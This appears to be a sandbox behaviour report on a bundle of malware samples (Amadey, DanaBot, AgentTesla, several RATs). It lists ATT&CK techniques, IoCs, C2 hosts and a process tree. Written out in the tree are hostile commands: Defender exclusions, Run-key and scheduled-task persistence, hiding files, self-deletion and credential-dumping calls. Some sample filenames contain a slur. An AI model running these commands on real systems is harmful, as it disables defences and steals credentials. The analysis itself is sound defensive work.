amadey | 07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a

pid	Process
2200	chrome.exe
6236	chrome.exe
2968	chrome.exe

Executes dropped EXE 7 IoCs

pid	Process
3048	_[MyFamilyPies]Avi.exe
2740	0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
2532	0a-PORNOSKI.exe
2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
2972	svchost.exe
2636	1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe
2404	proxyt.exe

Loads dropped DLL 14 IoCs

pid	Process
2692	Shitstain.exe
2692	Shitstain.exe
2692	Shitstain.exe
2692	Shitstain.exe
2692	Shitstain.exe
2692	Shitstain.exe
2692	Shitstain.exe
2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
2692	Shitstain.exe
2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
2692	Shitstain.exe
2692	Shitstain.exe

Modifies file permissions 1 TTPs 4 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4240	takeown.exe
7044	icacls.exe
4288	takeown.exe
7492	icacls.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/4024-736-0x0000000000270000-0x0000000000284000-memory.dmp	agile_net

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x000400000001cb79-458.dat	vmprotect
behavioral1/memory/1204-512-0x0000000000C70000-0x0000000000D12000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Realtek¸ßÇåÎúÒôÆµ¹ÜÀíÆ÷ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe"	svchost.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs

Web Service

T1102

flow	ioc
18	discord.com
50	discord.com
153	raw.githubusercontent.com
155	raw.githubusercontent.com
157	raw.githubusercontent.com
202	raw.githubusercontent.com
210	raw.githubusercontent.com
222	raw.githubusercontent.com
25	discord.com
207	discord.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	api.ipify.org
44	ip-api.com
76	whatismyipaddress.com
149	ip-api.com
26	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops autorun.inf file 1 TTPs 2 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\autorun.inf	0a-PORNOSKI.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\autorun.inf	0a-PORNOSKI.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
3696	tasklist.exe
4404	tasklist.exe

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000019397-38.dat	upx
behavioral1/memory/2692-40-0x0000000000300000-0x0000000000318000-memory.dmp	upx
behavioral1/memory/2956-71-0x0000000002D80000-0x0000000002DAE000-memory.dmp	upx
behavioral1/files/0x00050000000197aa-74.dat	upx
behavioral1/memory/2956-79-0x0000000000400000-0x0000000000418000-memory.dmp	upx
behavioral1/memory/2404-339-0x0000000000400000-0x000000000042E000-memory.dmp	upx
behavioral1/memory/4060-1129-0x0000000000400000-0x000000000042E000-memory.dmp	upx
behavioral1/memory/3108-1893-0x0000000000400000-0x000000000040B000-memory.dmp	upx
behavioral1/memory/2404-2664-0x0000000000400000-0x000000000042E000-memory.dmp	upx
behavioral1/memory/3108-6054-0x0000000000400000-0x000000000040B000-memory.dmp	upx
behavioral1/memory/3108-8955-0x0000000000400000-0x000000000040B000-memory.dmp	upx
behavioral1/memory/6236-10035-0x0000000000DA0000-0x00000000018DD000-memory.dmp	upx
behavioral1/files/0x000700000001c898-10022.dat	upx
behavioral1/memory/6236-10052-0x0000000000DA0000-0x00000000018DD000-memory.dmp	upx

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4136	sc.exe
1736	sc.exe
5104	sc.exe
3796	sc.exe
4404	sc.exe
4344	sc.exe
6460	sc.exe
5708	sc.exe
5172	sc.exe
3556	sc.exe
2052	sc.exe
880	sc.exe
7824	sc.exe
1720	sc.exe
4152	sc.exe
7072	sc.exe
5988	sc.exe
3276	sc.exe
1032	sc.exe
4332	sc.exe
2968	sc.exe
4944	sc.exe
2284	sc.exe
3484	sc.exe
4588	sc.exe
4136	sc.exe
4956	sc.exe
7352	sc.exe
5296	sc.exe
6272	sc.exe
6316	sc.exe
5860	sc.exe
4976	sc.exe
3964	sc.exe
4300	sc.exe
6848	sc.exe
1104	sc.exe
4880	sc.exe
5240	sc.exe
6116	sc.exe
4580	sc.exe
5868	sc.exe
4924	sc.exe
5952	sc.exe
6040	sc.exe
6888	sc.exe
4876	sc.exe
2544	sc.exe
6932	sc.exe
6760	sc.exe
1880	sc.exe
4368	sc.exe
4164	sc.exe
5880	sc.exe
7724	sc.exe
776	sc.exe
7060	sc.exe
7860	sc.exe
6016	sc.exe
8068	sc.exe
4116	sc.exe
4740	sc.exe
5472	sc.exe
236	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000500000001a4e0-407.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
1380	2956	WerFault.exe	60
3160	3088	WerFault.exe	89
4872	3948	WerFault.exe	100
7768	8156	WerFault.exe	165

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0a-PORNOSKI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Shitstain.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
5972	PING.EXE
5520	PING.EXE
2900	PING.EXE
5132	PING.EXE

Delays execution with timeout.exe 4 IoCs

defense_evasion

pid	Process
6196	timeout.exe
8088	timeout.exe
6872	timeout.exe
4752	timeout.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
3036	reg.exe
4548	reg.exe
2752	reg.exe

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
5520	PING.EXE
2900	PING.EXE
5132	PING.EXE
5972	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3108	schtasks.exe
5912	schtasks.exe
6824	schtasks.exe
216	schtasks.exe
7284	schtasks.exe
7256	schtasks.exe
4560	schtasks.exe
4344	schtasks.exe
7480	schtasks.exe
7968	schtasks.exe
5496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2804	2692	Shitstain.exe	31
PID 2692 wrote to memory of 2804	2692	Shitstain.exe	31
PID 2692 wrote to memory of 2804	2692	Shitstain.exe	31
PID 2692 wrote to memory of 2804	2692	Shitstain.exe	31
PID 2692 wrote to memory of 3048	2692	Shitstain.exe	33
PID 2692 wrote to memory of 3048	2692	Shitstain.exe	33
PID 2692 wrote to memory of 3048	2692	Shitstain.exe	33
PID 2692 wrote to memory of 3048	2692	Shitstain.exe	33
PID 2692 wrote to memory of 2740	2692	Shitstain.exe	34
PID 2692 wrote to memory of 2740	2692	Shitstain.exe	34
PID 2692 wrote to memory of 2740	2692	Shitstain.exe	34
PID 2692 wrote to memory of 2740	2692	Shitstain.exe	34
PID 2692 wrote to memory of 2532	2692	Shitstain.exe	35
PID 2692 wrote to memory of 2532	2692	Shitstain.exe	35
PID 2692 wrote to memory of 2532	2692	Shitstain.exe	35
PID 2692 wrote to memory of 2532	2692	Shitstain.exe	35
PID 2692 wrote to memory of 2956	2692	Shitstain.exe	60
PID 2692 wrote to memory of 2956	2692	Shitstain.exe	60
PID 2692 wrote to memory of 2956	2692	Shitstain.exe	60
PID 2692 wrote to memory of 2956	2692	Shitstain.exe	60
PID 2956 wrote to memory of 2972	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	37
PID 2956 wrote to memory of 2972	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	37
PID 2956 wrote to memory of 2972	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	37
PID 2956 wrote to memory of 2972	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	37
PID 2692 wrote to memory of 2636	2692	Shitstain.exe	38
PID 2692 wrote to memory of 2636	2692	Shitstain.exe	38
PID 2692 wrote to memory of 2636	2692	Shitstain.exe	38
PID 2692 wrote to memory of 2636	2692	Shitstain.exe	38
PID 2956 wrote to memory of 2404	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	39
PID 2956 wrote to memory of 2404	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	39
PID 2956 wrote to memory of 2404	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	39
PID 2956 wrote to memory of 2404	2956	0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe	39
PID 2692 wrote to memory of 620	2692	Shitstain.exe	40
PID 2692 wrote to memory of 620	2692	Shitstain.exe	40
PID 2692 wrote to memory of 620	2692	Shitstain.exe	40
PID 2692 wrote to memory of 620	2692	Shitstain.exe	40

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5900	attrib.exe
6336	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Shitstain.exe
"C:\Users\Admin\AppData\Local\Temp\Shitstain.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAZgBxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGIAYgByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABpAGQAIAB5AG8AdQAgAGsAbgBvAHcAIAB5AG8AdQAnACcAcgBlACAAZgB1AGMAawBlAGQAIAB3AGkAdABoACAAYQAgAHMAaABpAHQAIAB0AG8AbgAgAG8AZgAgAFIAQQBUACAAZgBhAG0AaQBsAGkAZQBzAD8AIABPAGgAIAB3AGUAbABsACwAIABlAG4AagBvAHkAIAB0AGgAZQAgAG0AYQB5AGgAZQBtACEAJwAsACcAJwAsACcATwBLACcALAAnAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAnACkAPAAjAHUAdQBxACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe
  "C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe"
  2⤵
  - Executes dropped EXE
  PID:3048
- - C:\Users\Admin\AppData\Roaming\Installer.exe
    "C:\Users\Admin\AppData\Roaming\Installer.exe"
    3⤵
    PID:3484
- C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
  "C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2740
- - C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
    "C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe"
    3⤵
    PID:1864
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
      4⤵
      PID:8180
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
      4⤵
      PID:6020
- C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe
  "C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe"
  2⤵
  - Executes dropped EXE
  - Drops autorun.inf file
  - System Location Discovery: System Language Discovery
  PID:2532
- C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
  "C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2972
- - C:\Users\Admin\AppData\Local\Temp\proxyt.exe
    "C:\Users\Admin\AppData\Local\Temp\proxyt.exe"
    3⤵
    - Executes dropped EXE
    PID:2404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c del C:\Users\Admin\AppData\Local\Temp\proxyt.exe > nul
      4⤵
      PID:5548
- C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe
  "C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe
  "C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe"
  2⤵
  PID:620
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    PID:7940
- C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
  "C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe"
  2⤵
  PID:1372
- C:\Users\Admin\AppData\Local\Temp\DanaBot.exe
  "C:\Users\Admin\AppData\Local\Temp\DanaBot.exe"
  2⤵
  PID:796
- - C:\Windows\SysWOW64\regsvr32.exe
    C:\Windows\system32\regsvr32.exe -s C:\Users\Admin\AppData\Local\Temp\DanaBot.dll f1 C:\Users\Admin\AppData\Local\Temp\DanaBot.exe@796
    3⤵
    PID:1900
  - - C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\SysWOW64\rundll32.exe C:\Users\Admin\AppData\Local\Temp\DanaBot.dll,f0
      4⤵
      PID:1796
- C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe
  "C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe"
  2⤵
  PID:356
- C:\Users\Admin\AppData\Local\Temp\2020.exe
  "C:\Users\Admin\AppData\Local\Temp\2020.exe"
  2⤵
  PID:2904
- - C:\Users\Admin\AppData\Local\Temp\2020.exe
    "C:\Users\Admin\AppData\Local\Temp\2020.exe"
    3⤵
    PID:2600
- - C:\Users\Admin\AppData\Local\Temp\2020.exe
    "C:\Users\Admin\AppData\Local\Temp\2020.exe"
    3⤵
    PID:700
- - C:\Users\Admin\AppData\Local\Temp\2020.exe
    "C:\Users\Admin\AppData\Local\Temp\2020.exe"
    3⤵
    PID:912
- C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe
  "C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe"
  2⤵
  PID:2220
- - C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe
    "C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe"
    3⤵
    PID:3108
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\UTFNE.bat" "
      4⤵
      PID:4988
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "skypee" /t REG_SZ /d "C:\Windows\Skypee\skypee.exe" /f
        5⤵
        
        PID:5692
  - - C:\Windows\Skypee\skypee.exe
      "C:\Windows\Skypee\skypee.exe"
      4⤵
      PID:6140
- C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe
  "C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe"
  2⤵
  PID:2064
- C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe
  "C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe"
  2⤵
  PID:1944
- C:\Users\Admin\AppData\Local\Temp\goofy.exe
  "C:\Users\Admin\AppData\Local\Temp\goofy.exe"
  2⤵
  PID:2688
- - C:\Windows\System32\attrib.exe
    "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\sdsdasd"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:5900
- - C:\Windows\System32\attrib.exe
    "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\sdsdasd\$77bloody_was_here.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:6336
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpA6CA.tmp.bat""
    3⤵
    PID:5376
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4752
  - - C:\Users\Admin\AppData\Roaming\sdsdasd\$77bloody_was_here.exe
      "C:\Users\Admin\AppData\Roaming\sdsdasd\$77bloody_was_here.exe"
      4⤵
      PID:7584
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /query /TN $77bloody_was_here.exe
        5⤵
        
        PID:3172
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /SC ONCE /TN "$77bloody_was_here.exe" /TR "C:\Users\Admin\AppData\Roaming\sdsdasd\$77bloody_was_here.exe \"\$77bloody_was_here.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7968
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /query /TN $77bloody_was_here.exe
        5⤵
        
        PID:6572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1848
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "bloody_was_here_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4560
- C:\Users\Admin\AppData\Local\Temp\FutureClient.exe
  "C:\Users\Admin\AppData\Local\Temp\FutureClient.exe"
  2⤵
  PID:1052
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"
    3⤵
    PID:2956
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2956 -s 556
      4⤵
      Program crash
      PID:1380
- C:\Users\Admin\AppData\Local\Temp\nigga.exe
  "C:\Users\Admin\AppData\Local\Temp\nigga.exe"
  2⤵
  PID:2684
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\nigga.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4344
- - C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
    "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
    3⤵
    PID:408
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5912
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\mg8b4Mr4PSjG.bat" "
      4⤵
      PID:3488
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:5148
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5132
    - - C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
        5⤵
        
        PID:4416
      - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6824
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\WCnUPGIurvvF.bat" "
        6⤵
        
        PID:3964
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        7⤵
        
        PID:1744
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5972
        
        C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
        7⤵
        
        PID:4932
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5496
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\or3dOHOkLZAB.bat" "
        8⤵
        
        PID:6468
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        9⤵
        
        PID:6668
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        9⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5520
- C:\Users\Admin\AppData\Local\Temp\amadey.exe
  "C:\Users\Admin\AppData\Local\Temp\amadey.exe"
  2⤵
  PID:1996
- - C:\ProgramData\a5410c88f1\bween.exe
    "C:\ProgramData\a5410c88f1\bween.exe"
    3⤵
    PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a5410c88f1\
      4⤵
      PID:2264
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a5410c88f1\
        5⤵
        
        PID:1736
- C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe
  "C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe"
  2⤵
  PID:2604
- C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe
  "C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe"
  2⤵
  PID:2516
- - C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe
    "C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe"
    3⤵
    PID:1092
  - - C:\Users\Admin\AppData\Local\Temp\setup-25030252930.exe
      C:\Users\Admin\AppData\Local\Temp\\setup-25030252930.exe
      4⤵
      PID:3100
- C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe
  "C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe"
  2⤵
  PID:2148
- - C:\ProgramData\Hdlharas\dlrarhsiva.exe
    "C:\ProgramData\Hdlharas\dlrarhsiva.exe"
    3⤵
    PID:4076
- C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe
  "C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe"
  2⤵
  PID:1648
- C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe
  "C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe"
  2⤵
  PID:1944
- - C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe
    "C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe"
    3⤵
    PID:1056
- C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe
  "C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe"
  2⤵
  PID:1688
- - C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe
    "C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe"
    3⤵
    PID:1728
- C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe
  "C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe"
  2⤵
  PID:1040
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "'Minecraft"' /tr "'C:\Users\Admin\AppData\Roaming\Minecraft.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7480
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp7CCE.tmp.bat""
